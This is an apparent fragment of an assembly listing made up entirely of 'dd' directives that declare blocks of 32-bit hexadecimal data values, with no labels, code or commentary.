dd 72A80759h, 331CB551h, 30B2A2C4h, 250F1464h, 669DACD7h
dd 10592BFDh, 2DF6B95h, 906775A9h, 446CE7DAh, 830260D3h
dd 300C009Dh, 13A2A891h, 0BC19F6C0h, 9A60D76Bh, 0E9D21030h
dd 9C1B6500h, 1D27CB1Dh, 9034C9DDh, 771E3480h, 0D44D8274h
dd 7F9F59E1h, 9668A850h, 74EF1E2Dh, 9A4640B0h, 9B5A633h
dd 30BBD12Eh, 0F4630844h, 0EE88CED8h, 411A448Ch, 0AA79EC00h
dd 514F8A67h, 476D00D6h, 0F990BDDAh, 0A91BBF7Eh, 8081D43Ah
dd 5104E58Dh, 0B44BDC86h, 36C3B5C8h, 685D82Ah, 5E6009D5h
dd 0DC1A9FB8h, 5E6F404Dh, 24B749C0h, 0F27774Bh, 0E1941B9Eh
dd 72E98FA3h, 973CBA8h, 1C81751h, 0CD33BE0h, 0F0A04C52h
dd 8C1BF8h, 58916707h, 0F7D6CB5h, 570D82F2h, 58119C0Bh
dd 0E3BCF430h, 0F96B2200h, 8A489D0h, 9185D4A3h, 371180C6h
dd 9912235Bh, 9DCC058h, 4604F037h, 0B4F1D2CAh, 0C041E4C1h
dd 3A9BC600h, 0DE48B1FEh, 8CD2E838h, 7E038C00h, 4E63D908h
dd 37AF0019h, 4F69CA75h, 27182888h, 7DE082E7h, 0CE0304B5h
dd 8ECDE421h, 0C0B588E4h, 586FA7CAh, 0F28A0507h, 63635FD6h
dd 1708A878h, 0B80C545Dh, 54A037Eh, 5E9B9DE8h, 0BC367880h
dd 0DB80BF00h, 70D683BAh, 0FFDD04E7h, 90779EF0h, 5D5E9358h
dd 7BFD1501h, 43F4BABEh, 218C089Bh, 0C05D56C8h, 0A9E4EE74h
dd 0C8F50C31h, 0B8448CFCh, 3B27D002h, 1B94587Dh, 0C1A88682h
dd 9CA1BFB2h, 706D97E4h, 0D07DE67h, 500406B0h, 90644100h
dd 154B3699h, 0EC46A041h, 115D5A02h, 8E315BFDh, 5DD9C014h
dd 0ED001E2Ah, 0C5C07DC9h, 4B30E964h, 8C0401F5h, 5391BF27h
dd 394975C8h, 30AC0348h, 53F76123h, 18E27471h, 3B32F30h
dd 0DD882312h, 0F900C182h, 0BB7CFD1Ch, 0ACE5F7h, 0E9BDAA49h
dd 4BE28B58h, 0FF15F504h, 0B890CFBCh, 0E28376A5h, 0F9F89134h
dd 5018B5h, 4445BB38h, 65CDE6C0h, 92615814h, 0C2011084h
dd 97B87501h, 392BDDEBh, 0E88C48B4h, 2B008C18h, 28E394EDh
dd 15979983h, 0E0EBFFDEh, 105D5980h, 8753FDh, 975D51B5h
dd 8201CF4Ah, 746D0228h, 2180859Eh, 5C20D7CCh, 7502FAF4h
dd 3D48C371h, 4C9AC032h, 80F91F4Bh, 56550168h, 37011410h
dd 0E2A0421Ch, 554430B7h, 8BBE9C00h, 21F146FCh, 0DA1600CAh
dd 8DF708Ah, 2C90BD0Dh, 112C605Ch, 10223CDh, 441E2816h
dd 0B3113C97h, 0E8E9DD8Fh, 75C66500h, 0B509EE93h, 0E8888323h
dd 2043CAA4h, 0F4702035h, 0D856504h, 9CF58314h, 9D94E8CFh
dd 454C0164h, 1BDEA4Eh, 0D644346Eh, 0CDEC2B12h, 1E67A8C8h
dd 8048883Ch, 5B468EDCh, 390EE66Ah, 68527A83h, 78BF87BBh
dd 0D3892F02h, 879128B7h, 8D837D81h, 4274239Ah, 3088E224h
dd 0F8703FF7h, 67367413h, 0E9324460h, 0AE410E5Bh, 788CA94Fh
dd 5531CA39h, 0BE0358F9h, 8C4F0060h, 0F2C2CB05h, 7CCEB83Fh
dd 0C2C3F600h, 0A69A8B94h, 0FBA71200h, 0FD9B0C08h, 0C123209Ch
dd 0E9446891h, 0E5D5760h, 1143FD23h, 4FB30090h, 9CC5525Dh
dd 9A211DBFh, 0E03446Ch, 0FC64CD8Dh, 5804FE32h, 0B32A88A1h
dd 8BE6CD8h, 7948CA5Ah, 0CB1F28E0h, 9F40C987h, 0BE19B010h
dd 8C30A900h, 6E10B726h, 70350074h, 76C5A667h, 5A5C0AE5h
dd 9A531004h, 80D09A93h, 5158EF9Bh, 195F020Ah, 0E84B0143h
dd 29222058h, 321C07BAh, 0CC6E41D4h, 0B4159CA1h, 26ACC45Fh
dd 59302697h, 0FC36B7h, 17BAC8DEh, 0C4E11EEBh, 10C06D04h
dd 0FCD9E87Bh, 0D3BC142Ch, 51FC008Ch, 754D900Ch, 82008F59h
dd 0CDF6FEE8h, 91203D73h, 4B3F00FCh, 0E7FA543Eh, 0B760F818h
dd 0BBFBF4D8h, 59650E0Ch, 80C6B004h, 0F958DCA0h, 0B4758406h
dd 50E0C227h, 140FD81Bh, 0B4A58C71h, 146E5Bh, 4FA649BBh
dd 3FFE645Fh, 5190237Ah, 16FC392Dh, 0DC29BDC3h, 8988544Eh
dd 0A4C53C0h, 0D61C0259h, 5C06B2DAh, 0C966D090h, 996DE700h
dd 17A02B41h, 21201F3h, 0A49024B7h, 0E7DC204Fh, 0C8F87924h
dd 77CC46D4h, 8B67B702h, 81852B4Fh, 0A109B5F8h, 0D928D9EEh
dd 0E6181Bh, 7E98765h, 0BEF8D486h, 0B0510E16h, 0F0723029h
dd 4930B0B2h, 0DA4200C6h, 12886080h, 99899BC7h, 0CCA25423h
dd 133BEC30h, 498D8AC3h, 0F4C79AF4h, 4961AEC4h, 2A7DDC25h
dd 8550E8BAh, 50BAA428h
dd 0B4F2E443h, 3D87230h, 0A8541A2h, 95F18340h, 689DC1DFh
dd 8E5459B4h, 0B9A106E7h, 41B74B18h, 756B2284h, 72A08C15h
dd 0E7EDB0E1h, 83C97600h, 0A8A765F8h, 0C960CEC4h, 0DA011AA6h
dd 5E6C077Eh, 21A4C683h, 232B075Ah, 0A013F741h, 2C35C338h
dd 74A52600h, 0F6C16B0h, 879CB424h, 0C834F8DFh, 6BA36002h
dd 13D8F8B5h, 2085C0FEh, 8AD9B67Ch, 31418B05h, 8442A2C1h
dd 67741B1Fh, 61CAC460h, 85D7C546h, 0EAFBE040h, 1852C606h
dd 79743BA9h, 0CB0C0ED2h, 2901F3C5h, 10FB025Fh, 0DA9E88CCh
dd 18EF0C61h, 2314E25Dh, 8D1273FDh, 0F20080A3h, 0D39167D6h
dd 37E083DDh, 848F433Ah, 0B9D92941h, 0F03FCC88h, 3C7CB6BDh
dd 23C83A5Eh, 83ED00D1h, 63879066h, 9194438h, 800B5175h
dd 0AFEC8570h, 847C26BCh, 761D41B4h, 0BCB06879h, 0A34C8C14h
dd 28DF04F4h, 0E03CE2Dh, 9127C721h, 0B4ECA09Fh, 22E807h
dd 1DFB3067h, 0A60235D9h, 234FD506h, 468097BAh, 79F30207h
dd 1CE688CDh, 79EB4004h, 3CC2C209h, 0B9E461FEh, 9E262503h
dd 8243E427h, 3A9100C6h, 0BD721034h, 7000C37Bh, 8B0F836Ah
dd 4CA63C65h, 551994BCh, 0E61CC9A5h, 530DF20h, 5CA195A3h
dd 14150F80h, 0CF23D02Eh, 79635A00h, 0F85FC92Eh, 6B045FD3h
dd 7BC3F44h, 670E4F2h, 9961FE47h, 0A822A93Bh, 8D1BF700h
dd 0C0C563C4h, 0A2555C19h, 6032E740h, 6137F601h, 68CB871Bh
dd 8C13E804h, 5725BB7Ch, 86E0419Bh, 0C8FDC6Ch, 0C8A4CE72h
dd 3400CE19h, 40C26D7Ch, 0FF1CFB13h, 0B6BD33F0h, 51C3005Ch
dd 31CD6B23h, 5ED210C0h, 9274991Bh, 0E5C33F0h, 0C6B0FA51h
dd 47F4819Dh, 0FDC72000h, 0E0D2137Bh, 0F4E06C1h, 0B974071Fh
dd 39FDh, 0B07D6880h, 1439CEEAh, 94856531h, 3AA8FF04h
dd 0DD6C9295h, 8771F059h, 5C32DC18h, 61C66944h, 28215F6Ch
dd 99023C78h, 0AEB130D9h, 0C94454F0h, 0E1AF4824h, 89A13575h
dd 0E28CE3A8h, 810B30B5h, 0E9E5E202h, 43C363ACh, 1196F16Ch
dd 0B240B215h, 0CE2630D2h, 82B92C1Ch, 2E22974Fh, 98FE8037h
dd 1A0B73B5h, 608F1F57h, 0F8E807h, 988B4F42h, 0CC30E777h
dd 5DF5F0A8h, 838215BAh, 0CA4A704Eh, 0E3DF6Ch, 0ECEE89Ch
dd 8E07189Eh, 6B257DA9h, 0FCB42025h, 3BC25E43h, 0BB12328h
dd 0C8278B3h, 0D071EAF7h, 52A0F300h, 1C8AE8h, 9D5847E4h
dd 21A15F74h, 80DD1A3Eh, 49BDCBDh, 2F3FF870h, 68372378h
dd 6AA6EE00h, 548244B1h, 68C4C8h, 0EF457F5Ch, 0ADCB021Ch
dd 21B7B000h, 0F57C62CCh, 88BB0A7Bh, 82F4A34Fh, 43B4FF14h
dd 832480F0h, 6CA464D8h, 2CA4674h, 0FA32C52Bh, 0F87A83h
dd 0FBF849A2h, 0DB68F4D5h, 2703A001h, 0F5BB64Ah, 6A6024h
dd 45282A57h, 0A45D7E82h, 8C3C2C01h, 5CDBFE62h, 0CF007422h
dd 1630E34Ch, 0E45A9CF8h, 15234C2Fh, 0B922502h, 0BC8449Eh
dd 714C9D7Ah, 1B6A6AE0h, 8FF1A600h, 466CB8E7h, 98160581h
dd 907528C1h, 53585ED4h, 853A5026h, 4CA6E512h, 0A5A384E0h
dd 0D2015813h, 0D829FF04h, 8C0049Bh, 0F1D6F40Dh, 9D432312h
dd 62D7044h, 16E250E3h, 16720430h, 4AFF07E0h, 404CC4B0h
dd 2359370Fh, 0E0500258h, 3707DAh, 74C13356h, 3552AC92h
dd 759EE800h, 328F7F0Bh, 7CF62EDAh, 178D11F0h, 880E722Ah
dd 9202F081h, 308308EAh, 410EE879h, 109E8158h, 90D07EAFh
dd 917A2EDEh, 824F09D0h, 0DF84D0E8h, 395883F4h, 49F90973h
dd 0C4E865DEh, 152E618Ch, 67F8B7C1h, 20590F66h, 25B6FF26h
dd 0F290F278h, 8D8C30D0h, 0AA598709h, 1B518548h, 1D3734C8h
dd 0C9D4DE62h, 0D479FECAh, 124AF0Eh, 100D4B9Bh, 7059F040h
dd 0D6389604h, 6051AE00h, 0B878FDC2h, 888000D9h, 590F054Dh
dd 710258B0h, 0B9093FEDh, 5DC484CCh, 0AD219CBDh, 465CC8A4h
dd 1CE20EAFh, 581109B7h, 4F8A0DC0h, 55E07FE7h, 0E350A680h
dd 54FE8863h, 7FAF05D9h, 0C5393AAEh, 2263009Fh, 63C6BDE7h
dd 0E2115C25h, 65704F88h, 0F15C8257h, 19BD24C0h, 76F2FE81h
dd 0B2465E58h, 0D7F0681Fh, 9C5C0013h, 0BEC76799h, 8CAC8A9Dh
dd 4AABD08h, 9B989165h, 60F7CE60h, 5193D040h, 8044BEE9h
dd 14DDCA32h, 78020336h, 0C7F0022Fh, 60C9C253h, 80CEA308h
dd 0F8F18EC5h, 9F0FABF2h, 973EA9D7h, 72CB044h, 0CDA4E152h
dd 0C4CC6C8Ch, 0AE002E59h, 693CA9D8h, 688B39D7h, 61C08DC8h
dd 17C9E6C8h, 5549F67h, 82334D1Ch, 580A8564h, 0BAF0508h
dd 20A45BF5h, 0AC9A344Dh, 0C48D0ED2h, 5323D0C0h, 1CB9151Dh
dd 64C4E5CBh, 0E98E61B4h, 3C444FCh, 8ADA70F8h, 0BDA0118Ch
dd 9E2BC0B9h, 0CE582CC2h, 502002DFh, 5D764D23h, 0A100D451h
dd 7915EB48h, 594C0708h, 20E7C736h, 39520D0Fh, 0B0B74009h
dd 0E106033h, 88CC4E20h, 0C344E974h, 6F9D061Bh, 21C4835Fh
dd 71013F08h, 5A8A0FAEh, 380C290Bh, 41165D11h, 402F6A4Ch
dd 70001523h, 0F97DDF5Bh, 50CA60DCh, 8FCD6BFAh, 0AD590E05h
dd 4C8EBFFFh, 0B0C2B588h, 1DE6588Bh, 0F9705736h, 1F8A3392h
dd 0E431D324h, 3AE9CFBCh, 84F6FC48h, 0BCF72AC5h, 148BD64Ch
dd 4CC08EC8h, 1D0A4AAFh, 9F9F8F46h, 480DD1C5h, 71431278h
dd 9CFC74C1h, 3820CBE5h, 0CB59FFBh, 91831891h, 0B1F92DFDh
dd 168892Fh, 92847B10h, 0B0B4A604h, 1883604h, 5C28BCC9h
dd 21928F8Ch, 7C1F908h, 892B27E1h, 2031D824h, 8A2DB981h
dd 91749792h, 0CB009CD0h, 9C86E8B3h, 98895819h, 60748271h
dd 5EA21340h, 0B2581556h, 0FBAC3473h, 17CB73Eh, 0EC42B5Dh
dd 0C833A851h, 0D7308BA2h, 7FAE01B7h, 8FB4FD75h, 8583CE5h
dd 1F1A896Bh, 0C42716FEh, 882CCEA8h, 824BC2AEh, 180198E4h
dd 6CA4B7BDh, 0D6D1CA2Ah, 0C5BEC0FFh, 8CAC94F7h, 9941270Eh
dd 35DE152Fh, 9C1A877Ch, 0F7750006h, 3D31A9A4h, 0F9FE2176h
dd 496B39E1h, 74518228h, 0A56B2403h, 5CF8072Ch, 0C4B591B0h
dd 734C066h, 77562510h, 2B07B048h, 33583EF7h, 0A1B711FAh
dd 80730078h, 59263689h, 409E5F11h, 0D09A6CACh, 66091FADh
dd 0F3D3B425h, 0C18370E0h, 8A1FF607h, 8B452728h, 8501E0D0h
dd 108097FFh, 14816BBDh, 1C570380h, 0C0604B58h, 5FC415E4h
dd 0D53E7C24h, 0DA9F048Fh, 5C82B31Ah, 8060D6E7h, 0D933B980h
dd 8700D740h, 53FDCBF1h, 1F743429h, 8EF9C3DDh, 41005FD2h
dd 0C88C816Ch, 0D08E3D05h, 0E0CEDE17h, 0D3C0B7C8h, 29D1C10h
dd 2CFA650Fh, 98798ACDh, 17378884h, 0F943C090h, 0CB9002FCh
dd 0BB5A8279h, 18EA9461h, 0F5D0958h, 981C4BFDh, 5D50B400h
dd 0AA48FE9Ah, 94FD0861h, 0CB02D70Bh, 0B25F94Bh, 0A458F462h
dd 0B8FC70E1h, 7D982151h, 44BB8CCh, 4D53CB06h, 0C4F0C913h
dd 2FE86541h, 58170B4Ah, 280CC9Bh, 4F013058h, 9E92BB20h
dd 5327016Ch, 2AAF9B3Eh, 0D25B4804h, 77899900h, 6CB62FB4h
dd 0D9F09827h, 652D0BBEh, 0EC47F15Dh, 17910708h, 9FFC20E8h
dd 0EE135EDDh, 7C9DF4C9h, 3CCC383Bh, 29DC905Dh, 0C607945Bh
dd 1D305346h, 2E87DBh, 39DCCCA1h, 1ECBCDFCh, 5D2BDF00h
dd 0A5A0BE71h, 16F8ECD5h, 0A4D91141h, 50505898h, 0B65A7DC0h
dd 5CF6BC13h, 0B7654CE0h, 0D1F3A000h, 7F6146Eh, 204490D4h
dd 1C01A593h, 0AF8EDDF5h, 91E85ED5h, 21842A83h, 67EC8188h
dd 274857E4h, 0C0691569h, 307B3ECCh, 24C46407h, 8161C0BEh
dd 8333CED1h, 84C5E918h
dd 64604889h, 853B01B5h, 589AB2Ch, 0E481129Bh, 60C007B0h
dd 5094FA8Fh, 9BBF97AEh, 7B687103h, 0BD4F8AD0h, 5D145CD0h
dd 4BF89C30h, 13594059h, 0C6298118h, 81B2841Fh, 2FA88116h
dd 17007F07h, 37188CD5h, 0E710A28Fh, 0F0855928h, 0B5BD8006h
dd 75033872h, 0EFC58BAEh, 0CD7BA7D9h, 0A6D1C094h, 6A5BA512h
dd 0B0919CC0h, 48F65B34h, 467E2F10h, 0E56C00B0h, 478C7569h
dd 54A797D7h, 0D303E81Dh, 0BB210Eh, 0AA77191h, 80D9FA74h
dd 53A8C3Fh, 5C162A61h, 890010B9h, 0A024F4Dh, 5B0946A6h
dd 46C91DBh, 0F3409A38h, 0A951C408h, 57CDE71Eh, 0E808171Eh
dd 121580A1h, 0D848ED37h, 4D8FF62Fh, 9BA2C084h, 8BE6AD7Ah
dd 8CF3902h, 197AB4Fh, 2D04129Fh, 1EE23C4h, 0FD135D5Ch
dd 0C42C2F6Bh, 5D5439B8h, 81EC8A9Fh, 44654760h, 88E0F20Ah
dd 0A9E024ADh, 768A88F2h, 0B52C707Ch, 5E53F800h, 63EF41C8h
dd 2F704A5Ah, 0BAF23E4h, 34597A0Eh, 0F1592800h, 0E8D2BC8h
dd 7157E2FAh, 49797402h, 40D8B0C0h, 3410C04Fh, 8CAFE8ACh
dd 446B7E2Dh, 17F000ACh, 0F6119E3Ah, 0FB17DF28h, 9CB2FCF8h
dd 0C8E0CB4Bh, 65EDC08Eh, 3009C8A2h, 8EE35EA5h, 0C7D22160h
dd 446BB4FEh, 0A679258Ch, 0B89DE340h, 0F6682153h, 0BECB20B4h
dd 789E5B13h, 15231C3Ah, 0F9EC4400h, 4FE52941h, 2E5864B8h
dd 0A892380h, 0BC46A95h, 0F0221D73h, 8CD9D79Eh, 8818AF79h
dd 839F4918h, 0DF9261h, 2905CFEBh, 0F44CC41Eh, 0CA3B5D00h
dd 3306AEC3h, 7BDC014Eh, 0DAB688B1h, 2D98CD82h, 82BD7B8h
dd 6D031A23h, 0C8ECA84Bh, 96D6B09Dh, 3CD969B4h, 0B2E7A100h
dd 710F4BAAh, 0AE8301A5h, 4D62BD46h, 0D46C716Ah, 1448C6A3h
dd 102F4EB4h, 0CB00B123h, 0E5F8797Fh, 58AB000Ah, 0D4F29371h
dd 494A1D0Eh, 3141D802h, 79B787F9h, 0FD8E50C0h, 84BF5E84h
dd 5FA0F6F0h, 0CB23102Bh, 3400B317h, 0F4EA58C5h, 6B251C14h
dd 0A41AEDD1h, 8260B86Dh, 0EEABACh, 8BB8C0B5h, 0B13BC35Eh
dd 5C582165h, 0F37488h, 95FE8148h, 529BD654h, 415AEC00h
dd 5C434AADh, 0BC0DE440h, 0F49F1654h, 0CD07D4DCh, 0F4535E54h
dd 2F80D324h, 5EF12C62h, 0E878C537h, 30DEBDF8h, 9C098E93h
dd 7A8C82DDh, 737E2E4h, 0E1786D6Ah, 3817594Bh, 96831991h
dd 8CF88EA6h, 0BF3A66D3h, 80BDF3F8h, 0ED5323B8h, 2AC910Bh
dd 10A3EA9h, 88D9CCD1h, 6024018h, 4FD35866h, 1264C4B9h
dd 3A74771Ch, 1C2398h, 483F1017h, 0B0124151h, 791D16E7h
dd 733B6E80h, 5C3CF9C5h, 19F8749Bh, 538A008Ch, 0F24E327Ah
dd 11173FE1h, 0E4B2AED5h, 0CBBCFF0Bh, 7790F040h, 1E0E780Bh
dd 5BE0ABB1h, 0C09A7190h, 35007FFAh, 0D5D71E9Ch, 4FA909B5h
dd 23E43BA6h, 13FD001Ch, 1BA121F4h, 0B3AD1409h, 0CB4C6CAh
dd 0D6BBBC7Eh, 41128FC8h, 0B03A5B6Dh, 203AE23h, 84016BC5h
dd 803CB0h, 2AD23081h, 7A7F35Dh, 4E858280h, 88B4CF02h
dd 71E4C1AFh, 30229Eh, 41227AA8h, 73A218EBh, 0AD61006Ch
dd 23ED27F2h, 2EE6F040h, 8983370Ch, 924499Ch, 0C6E8D3AEh
dd 55D81C73h, 0DD7331h, 71897C78h, 9D7625C5h, 7AA88451h
dd 0F3F0A433h, 73B104F8h, 0BD3B615Eh, 95120350h, 0B19EF539h
dd 398BE027h, 105BDE76h, 0FED9F558h, 0F4F02F10h, 0A311A067h
dd 0EB271458h, 544E348Bh, 915C159Dh, 72C79E88h, 8EE14F8Bh
dd 8866A011h, 9CAAE815h, 9BA1816h, 0A68E1554h, 88628A60h
dd 0D0018C5Eh, 3B233935h, 346C1D75h, 9FECCBB4h, 0C74B00E3h
dd 9F538532h, 973B960Bh, 11481D2Ah, 2B4080D1h, 12FECD59h
dd 0B80DDDD5h, 8CB2BCA0h, 0EF7B2802h, 0E0ED804Ah, 83AEDD84h
dd 73D72F80h, 9F159CA0h, 0D6AFBC16h, 0B2C8B0CEh, 0C4295BC0h
dd 0E44B4C25h, 4226110h, 435730D3h, 1941F0A0h, 809D94F9h
dd 2C2F3B60h, 52008C7Fh, 17726F61h, 566BFD93h, 85B05843h
dd 0E30B39BFh, 4841A991h, 48ED31B4h, 81C77E4h, 8489674Fh
dd 0C100C4E4h, 233566C3h, 0E1CF9F5h, 0B708A732h, 0D0ADE144h
dd 0DEA825D4h, 465C6096h, 0A07E008Ah, 0FD1692FCh, 0CC0B24BCh
dd 714389CCh, 5B5AE850h, 9692D890h, 76E30084h, 0C79F2467h
dd 1EF2138Ch, 4B0EA6E0h, 60771B66h, 8317F4F6h, 80A25488h
dd 440490EAh, 0E4FC5D59h, 56886A69h, 9203DC90h, 2544E131h
dd 5FB81177h, 727325D0h, 45E2710h, 0B1E40867h, 822A6B60h
dd 0A9575F02h, 595E676Dh, 67FC7B94h, 23D11A20h, 0CB1D016Bh
dd 4BC3A7EEh, 70707859h, 7B4B84B6h, 63C700Ch, 0A2EC0F1Dh
dd 0C4D1A5h, 80365B9Ah, 0CC983C9Ch, 4C31F55Bh, 15007BFBh
dd 709EE804h, 0E2E37D80h, 0B8A5D61Bh, 14EB0961h, 0E8796A04h
dd 0C0191A71h, 4C0C0643h, 5E2D99B8h, 3025FDBCh, 0E8187078h
dd 0AA3B799Fh, 93C68617h, 0FF65519h, 26FC0885h, 8C4D5h
dd 9490A7C7h, 1F098CA3h, 2157602h, 2BB129F0h, 487EAC42h
dd 0B52F3BDCh, 1E18C882h, 207683CBh, 0D9C980BFh, 8F43894Eh
dd 0FB4A02CCh, 6D53D71h, 0A9D541F5h, 6BC8E0CEh, 0DA9E0789h
dd 0F592C5F4h, 0B6AE0A77h, 8C465C48h, 0C64C4F02h, 24C298E8h
dd 0DE7C7Eh, 40F46296h, 351AA3Dh, 0C92C4BF8h, 4DAF800Ah
dd 0A7B060C4h, 6209903Ah, 80B4BF56h, 4381EA48h, 35CA0911h
dd 444D79CBh, 0B950D2C7h, 0D22E370h, 1201C5AEh, 54882E21h
dd 0EE0D008Ah, 9B96BF8Fh, 0D09F3114h, 0B5CB1286h, 0F0ACB647h
dd 1706168Dh, 47038475h, 22B5F94Ch, 4851AC34h, 911819D9h
dd 0F0154E02h, 81806AD8h, 9FE4BB94h, 701050FEh, 5C31C05Bh
dd 1CAA31Bh, 31BCB007h, 360F4049h, 2CC924A3h, 1CC4F847h
dd 60D0A960h, 7A00DB75h, 3F90FFDh, 35114193h, 0E6F0C769h
dd 0F12CE0F4h, 0D1242F61h, 869F6418h, 90002092h, 1839EC7h
dd 7131BAA3h, 0B0570069h, 0FDA28011h, 48BCE934h, 9C8FF492h
dd 85C0B788h, 114F16Eh, 434E8AE1h, 0FC1C727Ah, 73481DF7h
dd 72AF2578h, 80C2792Ch, 5B0C331Ch, 0B1BA9F1Bh, 94BE0082h
dd 9A02F97Dh, 0D8A479CCh, 19596503h, 24CAE897h, 125EC479h
dd 6920BD15h, 9748F8B0h, 0F880B83Dh, 232043C6h, 0DD531027h
dd 94FC042Ch, 1B00D65Bh, 99FE72D9h, 0E800B55Ch, 5A588C8Fh
dd 0FA5017Bh, 0ABC3C4D1h, 126AF1FDh, 0C8E4CB44h, 71C5C014h
dd 0A19544A9h, 905DC378h, 431C70F2h, 14CA4E16h, 38C7D2C8h
dd 6440BD70h, 5B4F1311h, 0C81C9A84h, 6A3C116h, 60EA70D3h
dd 2C1CFA00h, 0B870BFF4h, 0D9D71783h, 80B004D4h, 6CF4D0D5h
dd 9F359390h, 6CA3684Dh, 0A13090A2h, 0CAB500A0h, 1261D880h
dd 0AF2EF818h, 0D908EC9Ah, 0AE50AB4h, 0CC467494h, 0F870CF3Ch
dd 80D35F4Fh, 0BC9F0870h, 70CB9726h, 0F7E59A84h, 0E9D009BEh
dd 2F8E5C68h, 0DB29800h, 3AA6D231h, 7E4C0257h, 0FBE517ECh
dd 652F78D3h, 61CB643Ch, 3B3ECA61h, 0B72310h, 9BC76260h
dd 950F2429h, 816A289Ah, 0E98BBCFDh, 77F8D880h, 4BCB045Ch
dd 0BA468F3h, 5B7CF6D9h, 0F17170E0h, 19A7CD00h, 371C8421h
dd 1501133Fh, 7CD0F5C9h, 8CD1BCD4h, 0AFF7DD00h, 7FA515C1h
dd 2C593E0Eh, 49016E00h, 6958ADAh, 841D3C92h, 940751C4h
dd 0AD803083h, 2DFB57CEh, 18685D49h, 8D0056E2h, 0B333CFA1h
dd 4A4DC37h, 0EF1B8A58h, 1475BBDDh, 0B0B22CE2h, 1E305E30h
dd 52BCFEECh, 450CA4D5h, 50822940h, 2A8287Fh, 4F8B666Dh
dd 0A97596DBh, 11549DDCh
dd 82809C1Ah, 0FFBBC8E1h, 18787393h, 80DE8FB4h, 7D274BC3h
dd 9DFCE62Ah, 0C341444Dh, 5E8F5DD9h, 0F665AC18h, 0F940E483h
dd 716B8500h, 9A87FDD3h, 0DC2F13F0h, 0C1900167h, 7DDE277Eh
dd 15CAC68h, 0AD1BE565h, 79BF6E80h, 75681038h, 82C8065Eh
dd 0F23E89C0h, 0A9BF8059h, 0D6ADE48Fh, 2F8813BEh, 14F4E04Bh
dd 6CD72E5Ah, 0A1334FC1h, 37411882h, 884AF957h, 0C64018D4h
dd 34368ECh, 0CECA5488h, 0D4C2ABE6h, 1A401C54h, 0B9B511Fh
dd 0A1C342EBh, 90984C58h, 0E196F401h, 0BF57894Bh, 0E6C042Fh
dd 0ACF8EDDEh, 4AA00144h, 0C4B4178Dh, 78923A78h, 440C5CE4h
dd 938A4202h, 0A560766Fh, 8D70007Bh, 0C62002C2h, 0E53237DAh
dd 24643175h, 0B0FDF109h, 0AF4F7839h, 39E8C788h, 37000E35h
dd 0F1E0CE3Bh, 200F4C0Ah, 208588Ch, 57288306h, 38059477h
dd 0A57D30D9h, 1177A8B2h, 0C8DA6F8Ch, 2CB4A066h, 0DC6C03EBh
dd 35011846h, 872CCE7h, 0DD982039h, 0F8CE2D40h, 81209CA6h
dd 65A78A0Ch, 36ECE072h, 0EDEB3007h, 6A64E1F9h, 0FE86BBBh
dd 0C1599253h, 634C4FBDh, 0B30860C6h, 90D3827Ch, 903FCF17h
dd 0CF1F8C7Fh, 0D6815AF6h, 0CB75909Fh, 6407CD8h, 5D347AC4h
dd 0E4809908h, 4181A07Bh, 193F8BF5h, 0DE1B98C4h, 0D8F4040Bh
dd 1E01C8BCh, 8A899833h, 0BD503C5Ah, 0E70930DEh, 0FD2AD00h
dd 1F28CB96h, 0DB7C4F57h, 47E425A8h, 8071CF24h, 9B61141Bh
dd 72DC3EB7h, 1CA01F25h, 0C04D10E7h, 70FE70CBh, 681DBDD4h
dd 6280CC91h, 15BE40DDh, 7659F4EEh, 25F99D04h, 2AA085BBh
dd 0D28810CEh, 94FA8DC0h, 85870549h, 3A6FCF6Dh, 8C7BC0h
dd 0FD3CA265h, 19314116h, 0EDC89A2Fh, 0FA41EEE8h, 247D3BA3h
dd 8A26D9A0h, 4112098h, 3AE86526h, 44656EA5h, 4A61AEE4h
dd 8CC83A8Fh, 944400D1h, 1FC890Bh, 6BFA0767h, 0F2A2B01h
dd 1C293B23h, 80115C01h, 8806FE81h, 382839h, 6DE54FA3h
dd 2B4D7BA4h, 5C34160Ah, 4674C8F9h, 0D9081FCFh, 80396C02h
dd 5685A5Dh, 94954E25h, 0F210E2A6h, 99F530B3h, 0D62CE505h
dd 0EC810DF1h, 0F900DD6Fh, 0D09CF8C5h, 39ABE88Ch, 460D03B2h
dd 4B88504Eh, 0EAC219E8h, 82015F78h, 9F3EECC5h, 842CF7C8h
dd 87BC104Ch, 1997718Ch, 88E317B4h, 0B0003A25h, 0EB1B0690h
dd 589D29Eh, 0E6F232F4h, 2434E024h, 0B01D01EFh, 6704425Ah
dd 0F4DAEEA9h, 180D93Bh, 1F895C9Dh, 443F86A3h, 0AF9A641Ch
dd 500547Ah, 0B5F25BB0h, 5200672Ch, 0E8D8BEB9h, 272A26A5h
dd 0B4A05D06h, 6FBB427Fh, 8A78F800h, 898117AEh, 49740084h
dd 6339FAC2h, 0BE248346h, 382C2890h, 308BB308h, 2F273010h
dd 81E4768Ah, 0B00B1D3Bh, 49B2FBCh, 0BFF76880h, 0F9F6079Fh
dd 6806F827h, 95FD318h, 57CE17FBh, 0E8169856h, 78466C20h
dd 0A5510E36h, 6D816E6Fh, 427CC410h, 5756BDCh, 98E6DD50h
dd 7CD669B0h, 0F5166600h, 0A70F39E1h, 0B3FB4A79h, 88A74A94h
dd 0D3B86048h, 0AF75008Ch, 0C37A8AB7h, 2303C0DAh, 7D89D3ECh
dd 0EBFCC6Dh, 3E10412Ch, 0B4CDC72h, 4EF6DE53h, 0D8CD975Ch
dd 0A117CE40h, 8B02177Eh, 1E4800F1h, 815D145Ah, 0FAC9C9Fh
dd 79CCA5B3h, 4780A488h, 0DD92D4B0h, 0C12400DBh, 7033544Dh
dd 0B701BD82h, 0D3F6595Dh, 8863D00Ah, 0D4F720C5h, 0E080B688h
dd 1955B1D0h, 19B7280Fh, 0B39CFCABh, 0A92401B7h, 212B7A3Ch
dd 4BD9710h, 0F49830AAh, 2F04A1EDh, 4323214Eh, 0C7E38B4h
dd 0F43BA9DAh, 3009C441h, 40930B37h, 13BCF7C8h, 0B989C0C2h
dd 514F2790h, 1817F1A0h, 0F93A0769h, 4956508Eh, 83F2AC00h
dd 4F977432h, 0C7804060h, 0F004591h, 51FA2816h, 12C6D512h
dd 0AC7DDE1Fh, 0F93FC1BCh, 0DB12C084h, 0A9432220h, 0A278B423h
dd 0A620D678h, 565BF0A8h, 0A7C90125h, 0EA60231Ah, 5C236F26h
dd 82F690F3h, 0AB06048Bh, 0EC191143h, 0A8E72CB0h, 899DC340h
dd 5A600D6h, 0CE0B084h, 0EB00FD3Bh, 0E99FB62h, 92D3B1h
dd 965936FAh, 34154B25h, 0E05DD480h, 24042D75h, 8BDAAC18h
dd 0EC9B6AF7h, 7C801680h, 0F271730h, 44D4E403h, 0AE7424E0h
